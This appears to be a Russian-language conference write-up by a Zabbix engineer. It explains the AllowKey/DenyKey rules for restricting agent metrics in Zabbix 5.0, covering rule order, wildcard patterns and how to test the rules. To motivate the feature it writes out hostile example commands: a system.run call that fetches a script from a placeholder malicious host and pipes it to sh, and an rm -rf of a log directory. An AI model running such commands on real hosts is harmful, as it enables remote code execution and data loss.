Поддержка черных и белых списков для метрик на стороне агента


Тихон Усков, Инженер интеграции, Zabbix


Проблемы безопасности данных


В Zabbix 5.0 появилась новая функция, которая позволяет улучшить безопасность в системах с использованием Zabbix Agent и заменяет старый параметр EnableRemoteCommands.


Усовершенствование безопасности систем с использованием агента обусловлено тем фактом, что агент может выполнять большое количество потенциально опасных действий.


  • Агент может собирать практически любую информацию, в том числе конфиденциального или потенциально опасного характера, из файлов конфигурации, файлов логов, файлов с паролями или любых других файлов.

Например, с помощью утилиты zabbix_get можно получить доступ к списку пользователей, их домашним каталогам, файлам с паролями и т. д.



Доступ к данным с помощью утилиты zabbix_get


ПРИМЕЧАНИЕ. Данные могут быть получены, только если агент имеет права на чтение соответствующего файла. Но, например, файл /etc/passwd/ доступен для чтения всем пользователям.


  • Агент также может выполнять потенциально опасные команды. Например, ключ *system.run[]** позволяет выполнять любые удаленные команды на узлах сети, в том числе запускать из веб-интерфейса Zabbix скрипты, которые также выполняют команды на стороне агента.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • В Linux агент по умолчанию запускается без root-привилегий, тогда как в Windows он запускается как сервис от имени System и имеет неограниченный доступ к файловой системе. Соответственно, если после установки в параметры Zabbix Agent не внесены изменения, агент имеет доступ к реестру, файловой системе и может выполнять WMI запросы.

В более ранних версиях параметр EnableRemoteCommands=0 позволял только отключать метрики с ключом *system.run[]** и выполнение скриптов из веб-интерфейса, но при этом не было возможности ограничить доступ к отдельным файлам, разрешить или запретить отдельные ключи, которые устанавливались вместе с агентом, или ограничить использование отдельных параметров.



Использование параметра EnableRemoteCommand в ранних версиях Zabbix


AllowKey/DenyKey


Zabbix 5.0 помогает защититься от такого несанкционированного доступа благодаря белым и черным спискам для разрешения и запрета метрик на стороне агента.


В Zabbix 5.0 все ключи, включая *system.run[]**, разрешены, и добавлены два новых параметра конфигурации агента:


AllowKey= — разрешенные проверки;


DenyKey= — запрещенные проверки;


где — паттерн имени ключа с параметрами, в котором используются метасимволы (*).

Ключи AllowKey и DenyKey позволяют разрешить или запретить отдельные метрики по определенному шаблону. В отличие от других параметров конфигурации количество параметров AllowKey/DenyKey не ограничено. Это позволяет четко определить, что именно агент может делать в системе благодаря созданию дерева проверок — выполняемых ключей, где очень важную роль играет порядок их написания.


Последовательность правил


Правила проверяются в том порядке, в котором они внесены в конфигурационный файл. Проверка ключа по правилам происходит до первого совпадения, и как только ключ элемента данных совпадает с паттерном, он разрешается или запрещается. После этого проверка правил останавливается, и остальные ключи игнорируются.


Поэтому если элемент соответствует и разрешающему, и запрещающему правилу, результат будет зависеть от того, какое правило будет первым в конфигурационном файле.



2 разных правила с одинаковым паттерном и ключ vfs.file.size[/tmp/file]


Порядок использования ключей AllowKey/DenyKey:


  1. точные правила,
  2. общие правила,
  3. запрещающее правило.

Например, если вам необходим доступ к файлам в определенной папке, необходимо сначала разрешить доступ к ним, после чего запретить все остальное, что не попадает под установленные разрешения. Если в первую очередь будет использовано запрещающее правило, доступ к папке будет запрещен.



Правильная последовательность


Если необходимо разрешить запуск 2 утилит через *system.run[]**, и в первую очередь будет указано запрещающее правило, утилиты запускаться не будут, потому что первый паттерн будет всегда соответствовать любому ключу, и последующие правила будут игнорироваться.



Неправильная последовательность


Паттерны


Основные правила


Паттерн — выражение с подстановочными знаками (wildcard). Метасимвол (*) соответствует любому количеству любых символов в определенной позиции. Метасимволы могут использоваться как в имени ключа, так и в параметрах. Например, можно жестко определить текстом первый параметр, а последующий указать как wildcard.


Параметры должны быть заключены в квадратные скобки [].


  • system.run[* — неверно
  • vfs.file*.txt] — неверно
  • vfs.file.*[*] — верно

Примеры использования wildcard.


  1. В имени ключа и в параметре. В данном случае ключ не соответствует аналогичному ключу, который не содержит параметр, поскольку в паттерне мы указали, что хотим получить некое окончание имени ключа и некий набор параметров.
  2. Если в паттерне не использованы квадратные скобки, паттерн разрешает все ключи, которые не содержат параметры и запрещает все ключи с указанным параметром.
  3. Если ключ записан полностью, а параметры указаны как wildcard, он будет соответствовать любому аналогичному ключу с любыми параметрами и не будет соответствовать ключу без квадратных скобок, т. е. будет разрешен или запрещен.


Правила заполнения параметров.


  • Если подразумевается использование ключа с параметрами, параметры должны быть прописаны в файле конфигурации. Параметры должны быть указаны как метасимвол. Необходимо осторожно запрещать доступ к какому-либо файлу и учитывать, какую информацию сможет отдавать метрика при различных вариантах написания — с параметрами и без них.


Особенности написания ключей с параметрами


  • Если ключ указан с параметрами, но параметры являются необязательными и указаны как метасимвол, ключ без параметров будет разрешен. Например, если вы хотите запретить получение информации о нагрузке на CPU и указываете, что ключ system.cpu.load[*] должен быть запрещен, не забывайте, что ключ без параметров вернет среднее значение нагрузки.


Правила заполнения параметров


Заметки


Настройка


  • Некоторые правила не могут быть изменены пользователем, например, правила обнаружения (discovery) или авторегистрации агентов. Правила AllowKey/DenyKey не затрагивают следующие параметры:
    — HostnameItem
    — HostMetadataItem
    — HostInterfaceItem

ПРИМЕЧАНИЕ. Если администратор запрещает какой-либо ключ, при запросе Zabbix не выдает информации о том, по какой причине метрика или ключ попадают в категорию 'NOTSUPPORTED'. В log-файлах агента информация о запретах на выполнение удаленных команд также не отображается. Это сделано из соображений безопасности, но может осложнить отладку, если метрики попадают в неподдерживаемую категорию по каким-либо причинам.


  • Не стоит рассчитывать на какой-то определенный порядок подключения внешних файлов конфигурации (например, в алфавитном порядке).

Утилиты командной строки


После настройки правил необходимо удостовериться, что все настроено верно.


Можно воспользоваться одним из трех вариантов:


  • Добавить метрику в Zabbix.
  • Протестировать с помощью zabbix_agentd. Zabbix agent c опцией -print (-p) показывает все ключи (которые разрешены по умолчанию), кроме тех, которые не разрешены конфигурацией. А с опцией -test (-t) для запрещенного ключа вернет 'Unsupported item key'.
  • Протестировать с помощью zabbix_get. Утилита zabbix_get с опцией -k вернет 'ZBX_NOTSUPPORTED: Unknown metric'.

Разрешать или запрещать


Вы можете запретить доступ к файлу и удостовериться, например, с помощью утилиты zabbix_get, что доступ к файлу запрещен.



**


ПРИМЕЧАНИЕ. Кавычки в параметре игнорируются.


При этом доступ к такому файлу может быть разрешен по другому пути. Например, если на него ведет симлинк.



Рекомендуется проверять различные варианты применения задаваемых правил, а также учитывать возможности обойти запреты.


Вопросы и ответы


Вопрос. Почему для описания правил, разрешений и запретов выбрана такая сложная схема паттерна со своим языком? Почему не было возможности воспользоваться, например, регулярными выражениями, которые использует Zabbix?


Ответ. Это вопрос производительности regex, поскольку агент, как правило, один, и он проверяет огромное количество метрик. Regex — достаточно тяжелая операция, и мы не можем проверять тысячи метрик таким образом. Wildcards — универсальное, шороко применяемое и простое решение.


Вопрос. Разве файлы Include подключаются не в алфавитном порядке?


Ответ. Насколько мне известно, предсказать последовательность применения правил, если вы разносите правила по разным файлам, фактически невозможно. Я рекомендую собрать все правила AllowKey/DenyKey в одном файле Include, потому что они взаимодействуют друг с другом, и подключать этот файл.


Вопрос. В Zabbix 5.0 опция 'EnableRemoteCommands=' в конфигурационном файле отсутствует, и доступны только AllowKey/DenyKey?


Ответ. Да, все верно.


Спасибо за внимание!